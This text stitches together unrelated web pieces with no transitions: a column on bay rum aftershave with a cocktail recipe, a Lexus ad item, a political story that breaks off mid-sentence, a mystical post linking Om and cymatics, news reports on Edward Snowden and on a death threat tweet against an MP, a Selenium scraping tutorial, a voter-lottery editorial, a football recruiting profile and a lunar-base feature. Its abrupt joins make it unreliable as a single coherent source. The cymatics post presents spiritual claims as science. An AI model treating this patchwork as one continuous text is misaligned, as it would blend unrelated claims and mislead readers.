Thank you for offering this chance to address your charming question—or, really, any question, as my mailbox is barren, its contents limited to a few rustling orbs of tumbleweed, as if this were a scene of the Old West and the only figures on the cactused landscape were a horse and his cowboy, freshly barbered and sweetly fragrant with the product you mention.
Troy Patterson Photo by Christina Paige
The scent of bay rum has wafted through history, enchanting innumerable noses in many guises: as a tonic and a talc, as an aftershave, a hair lotion, a deodorant, and a shaving soap—and at every turn its wearers have reeled in admirers and warded off neuralgia. In the beginning, it spruced up the couth of European sailors in the West Indies. The sailors, being sailors, tended to get gamy, and they were intrigued to see the natives giving themselves refreshing rubs with the leaves of the West Indian bay tree (which in Linnaean Latin is Pimenta racemosa and which is not to be confused with the Laurus nobilis in your pasta sauce). Also, the sailors, being sailors, tended to drink like sailors. They had a lot of rum around and, introducing the oil of the leaves to the rum’s pungency, they wrought a classic potion—clever with cloves, sturdy in its cinnamon, light but complex in its honest earthiness. Over the centuries, subtle clouds of bay rum wafted east to London and west to the Oregon Trail, as scalps were smartly salved and skin restoratively smacked.
This is how they did it in the good old days. In my view, the good old days include the fortnight past, when this column dilated in the direction of unironizing a line from an Oliver Goldsmith satire of 18th-century London: “To make a fine gentleman, several trades are required, but chiefly a barber.” The Gentleman Scholar was at a barbershop trying to parse the texts of the new masculinity, which, among its defining features, checks out the old masculinity with the aim of salvaging window dressing for the soul. These texts included the glossies on the barbershop’s magazine rack, where a fashion spread noted the collaboration between the au courant French retailer A.P.C. and the durable blue-collar brand Carhartt. These texts also included a marketing report that dwelled on “retrosexuals”: “With gender divisions getting blurry, some men—and especially Millennials—are looking to the past for inspiration on style and skills from generations where male identity was more distinctively expressed.” And there was the text of one’s own face—whiskers trimmed, eyes squinting through hairy issues, into the depths of the superficial: It seemed possible that to be a man was to be a member of a market segment and desirable to start deconstructing that.
After the shave, aftershave. The marketers would suggest that bay rum appeals to the retrosexual because his grandfather wore it. The student of taste has no complaint with this recommendation. All the popular grandfatherly scents—drugstore classics, Brut and Old Spice and English Leather and the like—boast an herbal undernote of sage wisdom. As one of the authors of Perfumes: The A-Z Guide writes, “Economic pressure has kept mass-market men’s fragrances cheap and cheerful, since repeat business is their bread and butter, and the only reason a guy like my dad would buy a fragrance is that it smells good.” Not incidentally, Old Spice exploits the grandfather concept in its advertising and packaging. In related news, Old Spice exploits insecurities about manliness with a playfully over-the-top back slap, by way of campaigns including “Smell Like a Man, Man,” starring Isaiah Mustafa as the Man Your Man Could Smell Like.
Smelling like a gentleman needn’t involve any arduous effort or heavy expense. Not smelling is A-OK. Neutrality is boring, of course—cf., Harry Lime’s speech on Switzerland in The Third Man—but no more boring than any of the thousand knockoffs of Davidoff’s Cool Water that glut the market. Freshness and simplicity are virtues, but the trend in men’s fragrance is toward a freshness for simpletons. This week, when I approached the men’s fragrance counter at Bloomingdale’s, a salesman like a smooth automaton steered me toward something called Bvlgari Aqua, which resembles any number of other, cheaper brands in its marine quality. To judge by the marketplace, male smells are sailing into the future on a nondescript oceanic breeze. The most recently developed “family” of fragrances is the “aquatic,” and its unisex cleanliness, synthetic and hygienic, is the selling point. At this writing, half of the top men’s fragrances on Amazon are products of Nautica. These seas are notably more placid than those cruised by the Old Spice ship imagery or by Drakkar Noir, the herbaceous ’80s favorite named for a Viking boat.
It is popularly supposed that men bother smelling like anything for the purposes of, to use insider’s jargon, “pulling chicks.” The most interesting 20th-century poet of the phenomenon is the late French singer Serge Gainsbourg, who declared his allegiance to the lavender lift of Caron Pour Un Homme—the first modern perfume specifically marketed to men—in slightly sinister lines about a mysteriously dexterous appendage. These I’ve seen translated thus:
I come across — pour un homme — as not terribly handsome,
But nevertheless – pour un homme — quite seductive.
The key of my charm as well as my secret arm — Pour un Homme — by Caron.
Rather less poetic are the copywriters for Jovan Sex Appeal: “This provocative, stimulating brand of rare spices and herbs was created by man for the sole purpose of attracting women. At will.” As evidenced by the existence of fragrances packaged like industrial pheromone sprays, this school of thought is not changing its administration any time soon.
But a gentleman should want to wear a fragrance for the sake of his own simple sensual delight at high tide and low, with the secondary benefits of inspiring Proustian reveries in his grandkids decades later and—OK fine—perhaps for the prehensile potential suggested by Serge. Which bring us back to the letter writer and her vision of a utopia lined in leather-bound hardcovers. Reviewing these notes, I see now, dear Lady, that I haven’t quite fulfilled your request. So here goes: Scent goes a long way with a woman. But I can’t support the stolen kisses bit; any party in possession of a stolen kiss should promptly put it back where he found it, step away, consider the matter closed. However, you do point us toward a good guideline: How much fragrance should a man apply? So little that it’s not discernible to persons standing beyond his immediate kiss-stealing range. I might have pointed this out this morning to a guy whose fog of body spray accosted me as I walked down the street, but he drove away too fast.
Bay rum is delicious, seductive, masculine, and available from many retailers at quite a reasonable price. Nonetheless, I took a stab at synthesizing online formulae for making one’s own by soaking West Indian bay leaves and sundry spices in rum. My bride’s proboscis determined my first batch of Patterscent to be in the 80th percentile of male odors. Not bad! I’ll keep tinkering until it meets the rather high standard I set in contriving its cocktail analog. Yes, our test kitchen adapted bay rum into a delicious, seductive, masculine drink, and I am setting its recipe here as a thank-you note for the lady letter writer and a promise to gentleman readers: You will not go wrong smelling like this drink tastes.
The Old-Spice Fashioned
1 ounce Smith & Cross Jamaican rum
1 ounce Plymouth gin
¼ ounce or less Demerara syrup
heavy dash of allspice dram
dash of Cardamaro liqueur (or cardamom bitters)
dash Angostura bitters
dash orange bitters
garnish: orange twist
Stir well with ice. Strain over ice into a chilled old-fashioned glass. Garnish and keep the wheels of civilization whirring along.We are getting closer and closer to the big game on February 5, and the Super Bowlteasers, even full commercials are being revealed.
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This has become the trend in recent years, especially in the YouTube age. More and more automakers are dropping their spots well in advance of Super Bowl Sunday and racking up YouTube views. This week, Lexus has revealed their extended commercial for the 2017 LC 500. The spot, titled “Man and Machine,” runs a full minute, but will run just 30 seconds on Super Sunday for the small price of $5 million.
The 2017 Lexus LC 500 and 500h arrive in showrooms this May. (Lexus)
It features movement artist Lil Buck, doing things with his body that if I attempted I’d have to be rushed to the emergency room. The song “Move Your Body” comes from top-recording artist Sia, who has a few tunes you may have heard 600 times on your radio already. With the ad, Lexus sets out to discover the parallels between the shapes and movements of the human form and the power and athleticism of Lexus’ top models.
Lexus believes their two new flagship models, the LC 500 and 500h, confirm the brand’s performance, engineering and design. Their new tagline “Experience Amazing,” is on display in the ad, from the body contortions to the sleek design and performance of the LC 500. The two new coupes are set to arrive in showrooms this May.
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On Thursday, Senate Majority Leader Mitch McConnell said President Barack Obama’s signature trade deal, the Trans Pacific Partnership, or TPP, would have to wait until after the 2016 presidential election, potentially robbing Obama of one of his signature economic accomplishments.
On Friday, the White House said, in effect, that the Senate should get a move on.
“Our view is that it is possible for Congress to carefully consider the details of this agreement and to review all the benefits associated with this agreement … without kicking the vote all the way to the lame-duck period,” press secretary Josh Earnest told reporters at Friday’s White House press briefing. “There is no reason we have to wait that long.”
On Thursday, McConnell, a Kentucky Republican, told the Washington Post that the deal, which includes 12 Pacific nations and covers nearly 40 percent of the global GDP, should not be considered during next year’s lame duck period, or the time between November’s general elections and when the new Congress convenes. “I think the president would be making a big mistake to try to have that voted on during the election,” he added.
The president released the text of the deal in November, and the earliest he can deliver it to Congress for a 90-day review is Feb. 4 of next year. If he doesn’t manage to convince McConnell to bring it to the floor, Obama will have to wait until after he’s out of the Oval Office to see if a key part of his |
it look like a laboratory but it's just an inspiration."
The cafe has already attracted regular customers and Kosan is currently negotiating new coffee shops in Dubai, Moscow and New York to be opened in 2016. "We have so many tourists, they come from the European side of Istanbul. They're asking 'When are you opening up in Europe?'", he explains.“If you want to find the secrets of the universe, think in terms of energy, frequency and vibration.” ― Nikola Tesla
Sounds creates form, and according to Vedic philosophy, Om is the primordial sound from which the whole universe was created. All matter resonates at a frequency, a vibration. And it is believed that the vibration/frequency is OM.. It is a sacred sound in Hinduism, Buddhism, Jainism and Sikhism. Om is also know as Omkāra (Aum syllable). It appears at the beginning of most Vedic chants and is said to be the essence of the Vedas.
“In the beginning was the Word, and the Word was God.” John 1:1
Notice the connection? I love to find ancient knowledge metaphorically included in old texts, whether religious or not.
“All matter is merely energy condensed to a slow vibration. We’re all one consciousness experiencing itself subjectively. There’s no such thing as death. Life is just a dream. And we are the imagination of ourselves.” -Bill Hicks
Bill hicks surely understood.
Cymatics: Below is a photo example of some of the patterns that are created by vibrating particles (or even water) using sound frequencies on a plate/medium:
Cymatic sciences have always fascinated me. In case you didn’t already know, Cymatics is the study of the effect sound has on matter. From the smallest particles to the largest objects in the known Universe, vibration and sound waves play a fundamental role in life as we know it.
Here is an amazing video of a Sacred chant being recorded inside of the great pyramid, with Cymatics:
Pretty neat, right?
If you’re looking for another cool Cymatics experiment to dig into, I suggest watching this other cool video HERE. Titled “Amazing Resonance Experiment – The Sacred Geometry of Sound.”
Image above taken from the book:“BHAGVATGITA”
Article Written by Joseph Brown, Owner and lead editor of The Mind Unleashed.The Russian president, Vladimir Putin, has revealed that the surveillance whistleblower Edward Snowden is indeed in a Moscow airport, ending a global guessing game over the US fugitive's whereabouts.
The admission reversed days of Russian obfuscation and came just hours after Putin's foreign minister said Russia had nothing to do with Snowden's travel plans.
Putin said Snowden remained in Sheremetyevo airport's transit area and vowed that Moscow would not extradite the whistleblower to the US. He also insisted that Russia's security services had no contact with Snowden, a claim greeted with suspicion.
"Mr Snowden really did fly into Moscow," he said on an official visit to Finland on Tuesday. "For us it was completely unexpected," he claimed.
The White House responded on Tuesday by saying Russia had a "clear legal basis" to expel Snowden, which National Security Council spokeswoman Caitlin Hayden said was the status of his travel documents – the US has revoked his passport – and the pending espionage charges against him.
"Accordingly, we are asking the Russian government to take action to expel Mr. Snowden without delay and to build upon the strong law enforcement cooperation we have had, particularly since the Boston Marathon bombing," she said.
Snowden fled Hong Kong on Sunday morning to travel via Moscow to an undisclosed third country, according to WikiLeaks, which said it helped his travel. He has requested political asylum from Ecuador.
Putin said Snowden remained in Sheremetyevo's transit hall, although the high-profile whistleblower has not been spotted once by the dozens of journalists in the airport since Sunday. The airport has also hosted a heightened security service presence since Sunday afternoon.
Moscow's Sheremetyevo airport, where Edward Snowden is in transit, according to Vladimir Putin. Photograph: Bobylev Sergei/Itar-Tass Photo/Corbis
Putin said Russia's security services "did not work and are not working" with Snowden, who fled the United States before leaking documents on secret US surveillance programmes. The US has charged him under the Espionage Act.
He defended Russia's actions and said Snowden, possibly carrying untold numbers of government secrets, was treated like any other passenger. Yet passengers at Sheremetyevo usually have 24 hours to pass through the international transit zone.
"He arrived as a transit passenger – he didn't need a visa, or other documents," Putin said. The statement appeared to back comments made earlier Sundaypreviously by his foreign minister, Sergei Lavrov, who insisted that Snowden "did not cross the Russian border" but did not comment on whether he was at the airport.
The US has urged Moscow to hand Snowden over. Speaking in Saudi Arabia on Tuesday, John Kerry, the US secretary of state, said: "I would simply appeal for calm and reasonableness. We would hope that Russia would not side with someone who is a fugitive from justice."
Putin lashed out at US accusations that the Kremlin was harbouring a fugitive. "Any accusations against Russia are nonsense and rubbish," Putin said.
He also appeared to throw his support behind Snowden, as well as the WikiLeaks founder Julian Assange, currently holed up at Ecuador's embassy in London.
"Assange and Snowden consider themselves human rights activists and say they are fighting for the spread of information," he said. "Ask yourself this: should you hand these people over so they will be put in prison?
"In any case, I'd rather not deal with such questions, because anyway it's like shearing a pig – lots of screams but little wool."
After leaking documents that exposed the breadth of the US surveillance state, Snowden has come under fire for seeking shelter in China and Russia, both accused of clamping down on civil liberties.
Speaking earlier on Tuesday, Lavrov insisted Russia did not help Snowden travel: "I would like to say right away that we have no relation to either Mr Snowden or to his relationship with American justice or to his movements around the world.
"He chose his route on his own, and we found out about it, as most here did, from mass media," said Lavrov.
"We consider the attempts we are now seeing to blame the Russian side for breaking US laws and being almost in on the plot totally baseless and unacceptable, and even an attempt to threaten us," he said.
China's top state newspaper had earlier praised Snowden for "tearing off Washington's sanctimonious mask" and rejected accusations that Beijing had facilitated his departure from Hong Kong.
The strongly worded front-page piece in the overseas edition of the People's Daily, the official newspaper of the Chinese Communist party, responded to harsh criticism of China from the US for allowing Snowden to flee.
The Chinese government has said it is gravely concerned by Snowden's allegations that the US has hacked into many networks in Hong Kong and China, including Tsinghua University, which hosts one of the country's internet hubs, and Chinese mobile network companies. It said it had taken the issue up with Washington.
"Not only did the US authorities not give us an explanation and apology, it instead expressed dissatisfaction at the Hong Kong special administrative region for handling things in accordance with law," wrote Wang Xinjun, a researcher at the Academy of Military Science in the People's Daily commentary.
"In a sense, the United States has gone from a'model of human rights' to 'an eavesdropper on personal privacy', the'manipulator' of the centralised power over the international internet, and the mad 'invader' of other countries' networks," the People's Daily said.
The White House said allowing Snowden to leave was "a deliberate choice by the government to release a fugitive despite a valid arrest warrant, and that decision unquestionably has a negative impact on the US-China relationship".
The People's Daily, which reflects government thinking of the government, said: China could not accept "this kind of dissatisfaction and opposition".
"The world will remember Edward Snowden," it said. "It was his fearlessness that tore off Washington's sanctimonious mask."
The exchanges mark a deterioration in ties between the two countries just weeks after a successful summit meeting between presidents Barack Obama and Xi Jinping. But experts say Washington is unlikely to resort to any punitive action.
A commentary in the Global Times, owned by the People's Daily, also attacked the US for cornering "a young idealist who has exposed the sinister scandals of the US government".
"Instead of apologising, Washington is showing off its muscle by attempting to control the whole situation," the Global Times said.Image copyright Twitter Image caption Broxtowe MP Anna Soubry, who campaigned for Britain to remain in the European Union, has often been criticised on social media for that stance
A Remain-supporting Conservative MP has contacted police after a Twitter post asking someone to "Jo Cox" her emerged.
The tweet, directed at MP Anna Soubry but misspelling her name, said "Someone jo cox Anna sourby please", in reference to the murder of Labour MP Jo Cox the week before the EU referendum.
Thomas Mair, 53, who shot Mrs Cox in June, was jailed for life last week.
Ms Soubry responded by saying: "This is what has happened to our politics. Tolerance & free speech must prevail."
Image copyright Getty Images Image caption Ms Soubry said the post was the "second of two death threats" she has received in one week
She added: "Take it that wasn't a spelling mistake. You're a sad cowardly troll."
A tweet from the same account then replied: "lol get jo coxed you old bint".
Updates on this story and more from Nottinghamshire
Ms Soubry told BBC Radio Nottingham she was "very disturbed" by the post and had reported it to Nottinghamshire Police, who confirmed they have launched an investigation.
"Nottinghamshire Police has been made aware of reports of threats being made against an individual on Twitter and take such reports seriously. As a result we have started an investigation," a force spokesman said.
Image copyright Twitter Image caption Ms Soubry told BBC Radio Nottingham she has been left "very disturbed" by the post
Ms Soubry added the tweet was the "second of two death threats" she had received in a week.
"Somebody had rung the office on Wednesday and made a number of threats to harm me in the same way that Jo Cox was harmed... so we reported that," she said.
"I reported it also to my local inspector... who has taken it seriously. Unfortunately the Parliamentary Authorities did not advance it in the way they should have done.
"I was tweeting about the Richmond by-election, and I happened to see this request that I should be 'Jo Cox'd', in other words murdered.
"I have reported that again to the police and the Parliamentary Authorities also saw it and got on to me but I'm afraid it wasn't taken as seriously as it should have been, but it is now."
Image copyright Twitter Image caption A tweet from the same account then replied: "lol get jo coxed you old bint"
She added: "It's almost as if Jo was never murdered.
"It's surreal actually, that that terrible and dreadful event has almost been erased and we've gone back to the language, we've gone back to the way of doing politics which we all promised we wouldn't after Jo was murdered.
"The abuse on Twitter has gone back up again from almost all sides - from both the left and the extreme right - and it all needs to stop."
The account responsible for the tweet can no longer be found.
Image copyright Twitter
Hundreds of people have taken to the social media platform in support of Ms Soubry.
Councillor Paul Canal wrote: "That's an incitement to murder Anna. Appalling, ignorant, unacceptable. Report it."
Ian Freshwater said: "Very sorry to see vile hate speech such as this - please stay strong; you will be vindicated!"
Jan Davies added: "Violent threats appear to be disproportionally directed at women too - something ugly & misogynistic being revealed."
Jon Connorton said: "That made me gasp. Nobody deserves that. Disgusting."
A Twitter spokesman told the BBC the organisation did not comment on individual accounts "for privacy and security reasons".There comes a time in the life of every programmer when they come to the realization that they in fact need to start web scraping! But hey, it’s not all about spamming, identity theft, and automated bot attacks—web scraping can have totally legitimate applications these days like R&D, data analysis, and much more. So give yourself a Python refresher and dive in with us as we look at Selenium.
Selenium is a free automated testing suite for web applications and we can use it to mine data from any website. Here are the simple steps to write the script for scraping data from any website using Selenium.
Installing Selenium
Install pip on your system
Download the get-pip.py. Then run it from the command prompt.
$ python get-pip.py
Install selenium python package using pip
$ pip install selenium
Install web drivers to emulate the browsers
You can download any (firefox/chrome/Edge) webdriver from this websites. We need the driver because selenium uses the web browser to scrape the data from the websites.
https://sites.google.com/a/chromium.org/chromedriver/downloads
https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/
https://github.com/mozilla/geckodriver/releases
Make driver executable available globally
Next step is put this driver executable in $PATH variable so it can be used from anywhere. To do so execute this command in terminal,
For MAC/Linux user,
"export PATH=$PATH:path/to/webdriver" >> $HOME/.bash_profile
For Windows user,
Go to Environment variables, and put webdriver path in PATH variable. To do so follow this steps.
Right click on My Computer. Click on Properties. Click on Advanced System Settings which will open a pop up box. Click on Environment variables. Click on PATH on the top window and then click on Path on the bottom window as shown in figure above. Add your driver executable path there.
Web scraping using Selenium
We will be scraping data from http://www.phptravels.net/ for our example. This is a test website from which we can extract data for this tutorial.
Now, the first step is to load the webdriver which we downloaded before. I will be using chrome webdriver for this example but you can use the same procedure for other web drivers.
import selenium from selenium import webdriver driver = webdriver.Chrome() time.sleep(5) driver.quit()
This code snippet will just load the chrome webdriver instance, wait till the 5 seconds are up, and the quit. But this isn’t what we wanted, we want to scrape the data from the website. So let’s get started with it.
import selenium from selenium import webdriver url = "http://www.phptravels.net/login" driver = webdriver.Chrome() if __name__ == "__main__": driver.get(url) driver.wait(5) driver.quit()
This will lead you to the login page of this website. Now, you have to enter a username and password in the textboxes. This you can do this automatically using selenium’s send_keys() method.
import selenium from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.support.ui import WebDriverWait url = "http://www.phptravels.net/login" username = "user@phptravels.com" password = "demouser" driver = webdriver.Chrome() if __name__ == "__main__": driver.get(url) uname = driver.find_element_by_name("username") ← find by element name uname.send_keys(username) ← enters the username in textbox passw = driver.find_element_by_name("password") passw.send_keys(password) ← enters the password in textbox # Find the submit button using class name and click on it. submit_button = driver.find_element_by_class_name("loginbtn").click()
When the driver clicks on the submit button, the browser will redirect to the above webpage. And now we will scrape the data from this page.
We can find all the information related to input field name, id, classname, text from the page source or inspect element tab of the browser. For example, the submit button on this page doesn’t have any id or name so we used class name “loginbtn” to find the element. Here is the list of all these methods [To find the elements from the page].
find_element_by_id
find_element_by_name
find_element_by_xpath
find_element_by_link_text
find_element_by_partial_link_text
find_element_by_tag_name
find_element_by_class_name
Find_element_by_css_selector
Now our next job is to collect information from this webpage. We can get all the bookings related data for this user using this web page information. We will collect all the hotel names which are booked by this user. To scrape the data, add this code to your script.
WebDriverWait(driver, 100).until( lambda driver: driver.find_element_by_id('bookings')) divs = driver.find_element_by_id("bookings") rows = divs.find_elements_by_class_name("row") print '-----------------------------------------------------' for row in rows: name = row.find_element_by_tag_name('a') print name.text print '-----------------------------------------------------'
Now, we want the text “Rendezvous Hotels” from this page source. The first line of this code snippet will make the web driver wait until the page is fully loaded and able to find the “bookings” id. Then we will find all the rows inside the “bookings” div. Now our text is inside the anchor tag so we will iterate through all the rows and find the links inside each div. Here is the output of whole code snippet.
This way you can get all the information which is on the page. You can navigate to other web pages using selenium’s webdriver to get other related information. You can store this data in Excel or in any database according to your need.
Here are the some other details about Selenium web driver which you can use in your web scraper to mine the data in an efficient manner.
Action Chains
Action chains can be used to automate some low level movements on the web page such as mouse movements, mouse button actions(left/right click) and context menu interactions. This can be very useful for performing some actions like mouse hover and drag & drop.
Example:
Class Name : selenium.webdriver.common.action_chains.ActionChains(driver) menu = driver.find_element_by_css_selector(".nav") hidden_submenu = driver.find_element_by_css_selector(".nav #submenu1") ActionChains(driver).move_to_element(menu).click(hidden_submenu).perform()
In this example, the chain of action is being performed to click on hidden submenu of navigation bar. The first two lines will locate the element which we want to use in action chain, in this case a hidden submenu. When you run this code snippet, first the mouse cursor will move to the menu bar and then it will click on hidden submenu.
These are the methods which can be used in action chain.
click() → Clicks an element
click_and_hold() → Holds down the left mouse button on an element.
context_click() → Right click on the element.
double_click() → Double click on the element.
move_to_element() → Move mouse to middle of an element.
key_up() → Send a keypress (only Control, Shift and Alt).
key_down() → Release a key press.
perform() → Performs all stored actions.
send_keys() → Send keys to current focused element.
release() → Release held mouse button on element.
Webdriver Exceptions
Here is the list of exceptions that may happen in your code while using selenium web driver.
selenium.common.exceptions.ElementNotSelectableException()
selenium.common.exceptions.ElementNotVisibleException()
selenium.common.exceptions.ErrorInResponseException
selenium.common.exceptions.ImeActivationFailedException
selenium.common.exceptions.NoSuchAttributeException
selenium.common.exceptions.NoSuchElementException
selenium.common.exceptions.TimeoutException
selenium.common.exceptions.UnexpectedTagNameException
Locating the elements
Here is the list of attributes which can be used to locate any elements on the web page.
Classs Name : selenium.webdriver.common.by.By CLASS_NAME= 'class name' CSS_SELECTOR= 'css selector' ID= 'id' LINK_TEXT= 'link text' NAME= 'name' PARTIAL_LINK_TEXT= 'partial link text' TAG_NAME= 'tag name' XPATH= 'xpath'
Alerts using Selenium Webdriver
Class Name : selenium.webdriver.common.alert.Alert(driver)
Alert(driver).accept() → Accepts the alert available Alert(driver).dismiss() → Dismisses the alert available Alert(driver).authenticate(username, password) → Sends uname/pass to dialog Alert(driver).send_keys(keysToSend) → Send keys to alert Alert(driver).text() → Get the text from alert
So there you have it—a brief introduction to web scraping with Selenium. Now just remember to use your newfound power for good!The 1971 Philadelphia mayor’s race may have been the last great moment in this city’s electoral history. That was the race that brought to City Hall the most-loved-most-hated Philly politician of the last century, Frank Rizzo. It found African Americans throwing their support to a Republican, Thacher Longstreth. And it saw the most tremendous voter turnout of the last 56 years. That November day, 77 percent of eligible Philadelphians made a choice. They went to the polls; they punched a ticket; they voted. For or against Rizzo, they took a stand in the most basic, most powerful way this country’s founders intended when they wrangled a constitution at 5th and Chestnut 200 years earlier.
Frank Rizzo was not, by any means, mayor for every Philadelphian. But you know what? Neither is Michael Nutter, who moved into City Hall in 2007 after just 29 percent of eligible voters made a choice. Or even John Street, whose races against Sam Katz were the most exciting in recent memory—and brought a whopping 45 and 50 percent of voters respectively to the polls. This year, just 27 percent voted in the May 2015 primary to decide who would likely lead Philly for the next eight years—and that was considered a good turnout. (Oh, we of such low expectations.)
One voter. Randomly selected. Taking home $10,000, courtesy of the Pamela and Ajay Raju Foundation.
It’s not just Philly, of course. This is a national epidemic: Turnout in the last federal election in 2014 was just 36 percent—the lowest since World War II (when thousands of voters were, you know, super busy). But it is especially galling here, where this country started and where every single one of us knows a myriad of problems that need solving—and that are not being solved by the same old decision-makers on Broad Street. Philadelphia suffers from chronic civic participation malaise. We could, as usual, stand back and wring our hands. Instead, we at The Citizen have decided it’s time for action.
That’s why we launched the 2015 Philadelphia Municipal Election Voting Lottery, to give $10,000 to one Philadelphia voter who casts a ballot on November 3. Let me repeat that: One voter. Randomly selected. Taking home $10,000, courtesy of the Pamela and Ajay Raju Foundation. Before you ask: Yes, this is legal. And no: We are not endorsing anyone, or making any money off of this ourselves. We’re doing this for one reason alone: To bring more people to the polls, in any way that gets them there. (See here for rules and regulations.)
We’ll even make it easier for you make a decision: Now that you know what’s at stake, make sure you take 10 minutes and familiarize yourself with all the candidates in the race. You can learn about them all here, and even make your own ballot.
A similar program, in a small Los Angeles school district election in May, saw remarkable results: Voter turnout increased from 46 percent to 80 percent among those who knew about the possibility of winning $25,000 through Votería. Can you imagine if twice as many people here came out to the polls in November as showed up in May? That would still be only 54 percent of registered voters. But even that would make an impact. And who knows? Maybe it would be just the spark they need to come back again and again.
Sure, it reeks a little. It is sorta icky. As The Los Angeles Times said about Votería, “This gimmick demeans the value of voting. And it’s the most superficial pseudo-solution to a very real problem in Los Angeles, which is the pervasive civic malaise that prevents so many eligible voters from feeling truly engaged.”
Philadelphia suffers from chronic civic participation malaise. We could, as usual, stand back and wring our hands. Instead, we at The Citizen have decided it’s time for action.
But you know what? Desperate times call for desperate measures. This is not the only idea out there. We’ve written about Next Stop Democracy, which has hired artists to set up signs around town pointing people to their voting booths. Young Involved Philadelphians, along with our lottery co-sponsor IAM, are running a Voter Education Week to get out the vote. Nationally, there is talk of mandatory voting, automatic registration, same day registration, open primaries, online registration (which Gov. Wolf launched in PA in August). Hopefully, some of those ideas will gain enough traction in the years ahead to reverse the trend of declining voter turnouts.
In the meantime, we can only say this: Go vote. Because it’s the right thing to do as a citizen. And because you might just come out $10,000 richer.
Header photo: “Voting United States” by Tom Arthur from Orange, CA. Uploaded by Petronas. Licensed under CC BY-SA 2.0 via Wikimedia Commons.Arkansas will be the first school that highly regarded junior tight end Hudson Henry will visit this year when he makes the trip to Fayetteville on July 19.
Henry, 6-5, 230 pounds, of Pulaski Academy, has scholarship offers from Arkansas, Penn State, Stanford and Ole Miss while drawing interest from others.
“The last week of July is a dead week for us, so I'm still deciding which school to go to then,” Henry said. “The schools that I don't visit, I will go to in the spring for sure.”
He recorded 28 receptions for 311 yards and 3 touchdowns to help the Bruins win their third straight state title as a sophomore.
Henry's family has a strong affiliation with Arkansas. His father, Mark, is a former Arkansas offensive lineman who lettered from 1988-1991 and earned All-Southwest Conference honors as a senior. His mother, Jenny, also attended Arkansas.
His grandfather, Skip Coffman, played basketball for the Hogs in the early 1960s and his oldest brother, Hunter, was an All-American tight end at Arkansas who is now with the Los Angeles Chargers. Another brother, Hayden, is a freshman linebacker for the Hogs.
With so many ties to Arkansas, Hudson Henry is used to family and friends asking when he’ll be the next Razorback.
“I respond with a smile and just say only God knows the plans for my life. If he wants me to go to Arkansas then so be it, but if his plan is different for me then let it be,” Henry said.
Despite having long arms and lengthy legs, Henry has impressive numbers in the weight room with a 300-pound bench press and 400-pound squat.
Receiving an offer from the Hogs in February has been Henry’s favorite moment in the recruiting process.
“To be honest, I wasn't expecting to get offered by Arkansas at such an early age, and I was so ecstatic and shocked,” he said. “It left me speechless but also full of so many emotions.”
Henry said there are several other reasons to like Arkansas besides family connections.
“It's so close to home and easy for family and friends to see me,” Henry said. “The coaches are super guys and great football coaches. I love Fayetteville and the people who live there. Lastly, the business school up at Arkansas is amazing.”
Henry had a front-row seat while watching his brothers go through the recruiting process, and now it’s his turn, and he’s enjoying it.
“It's very cool,” Henry said. “It was awesome to be a part of their processes and their experiences, and now it's even more cool to experience it myself.”
Siblings can often have similar traits while also being unique. Henry said he’s more like his oldest brother.
“Hunter and I are the most similar personality wise just because we are more relaxed and chill guys, while Hayden is more of a upbeat extrovert,” Henry said.Imagine an international research station on the moon, where astronauts and cosmonauts and taikonauts and any other-nauts from around the world conduct science experiments, gather resources, build infrastructure, study our home planet from afar, and erect a new radio telescope to probe the mysteries of the ancient cosmos. This is the vision of Jan Woerner, the German civil engineer who serves as the Director General of the European Space Agency. He calls it "Moon Village."
The Vision
Moon Village isn't so much a literal village as it is a vision of worldwide cooperation in space. It is part of Woerner's larger concept of "Space 4.0."
Woerner, you see, breaks down the history of space exploration into four periods. All of ancient and classical astronomy is lumped into Space 1.0, the space race from Sputnik to Apollo is Space 2.0, and the establishment of the International Space Station defines the period of Space 3.0. As the largest space station—which holds the record for longest continuous human habitation, 16 years and counting—the ISS soars as a shining example of successful, longterm, peacetime international cooperation like no other program in the history of humankind.
Concept of a lunar base constructed with 3D printing. ESA/Foster + Partners
Space 4.0 is a continuation of that spirit of global cooperation, and it represents the entry of private companies, academic institutions, and individual citizens into the exploration of the cosmos. Moon Village, part of Space 4.0, is a worldwide community of people who share the dream of becoming an interplanetary species.
"Somebody was asking me, 'When do you do it, and how much money do you need?' I said it's already progressing, as a village on Earth. The village starts with the first actor, and we have several actors right now, so it's already on its way," Woerner said to the Space Transportation Association (STA) at a Capital Hill luncheon on December 9, as reported by Aviation Week.
The Nuts and Bolts
Of course, all this sentiment is nice, but where are we in terms of building a physical moon base? Closer than you might think.
The rest of Europe has united behind Woerner's idea, as the science ministers of each ESA member state have endorsed Space 4.0. To that end, the European Space Agency is developing a Lunar Lander, its first. The program was postponed in 2012 because Germany, which is covering 45 percent of the costs, couldn't convince the other member nations to put up the additional 55 percent. Renewed interest in lunar exploration with a German at the helm of ESA could be enough to jumpstart the program again.
Meanwhile, ESA is investing in technologies to develop 3D printing methods that would work using lunar soil. The research could pave the way for constructing tools and even habitats on the moon. The British architecture firm Foster + Partners has gone so far as to design a catenary dome with a cellular structure that could guard an inflatable lunar habitat against both small pieces of debris and space radiation.
Other nations have their eyes set on the moon as well. India and Japan both have lunar rovers under development that they plan to launch before 2020. China has two sample return missions in the works and a plan to land on the far side of the moon for the very first time, all before the decade is out. The space agencies of Europe, Japan, Russia and China have all proposed missions to put astronauts on the moon in the coming decades.
And then you have the private moon race. The Google Lunar XPRIZE is offering $30 million in prize money to private teams that can land on the moon, have their spacecraft travel 500 meters, and transmit high-resolution photos and video back to Earth before the end of 2017.
The finish line to that race is in sight. Five teams have launch contracts that have been verified by XPRIZE. Israeli team SpaceIL has booked a ticket on a SpaceX Falcon 9; American team Moon Express's MoonEX-1 will fly on a Rocket Lab Electron rocket; the international team Synergy Moon plans to use a NEPTUNE 8 rocket, built and launched by California-based Interorbital Systems; and as was just announced today, Indian Team Indus and Japanese team HAKUTO will launch their lunar craft jointly on a Polar Satellite Launch Vehicle (PSLV), a proven rocket built and operated by the Indian Space Research Organization (ISRO).
The majority of Lunar XPRIZE spacecraft are rovers, but Team Indus, for example, is planning a lander and two rovers, while SpaceIL and Moon Express have spacecraft that will hover over the lunar surface after landing. We are about to have a slew of private spacecraft headed to the moon for the very first time.
Will NASA Choose Mars, or the Moon?
Of course, we have yet to discuss the agency that could play the biggest role in constructing a moon base: NASA. It has landed on the moon 11 times, after all, including the 6 successful Apollo landings. (The only other countries to land on the moon are Russia/Soviet Union and China.)
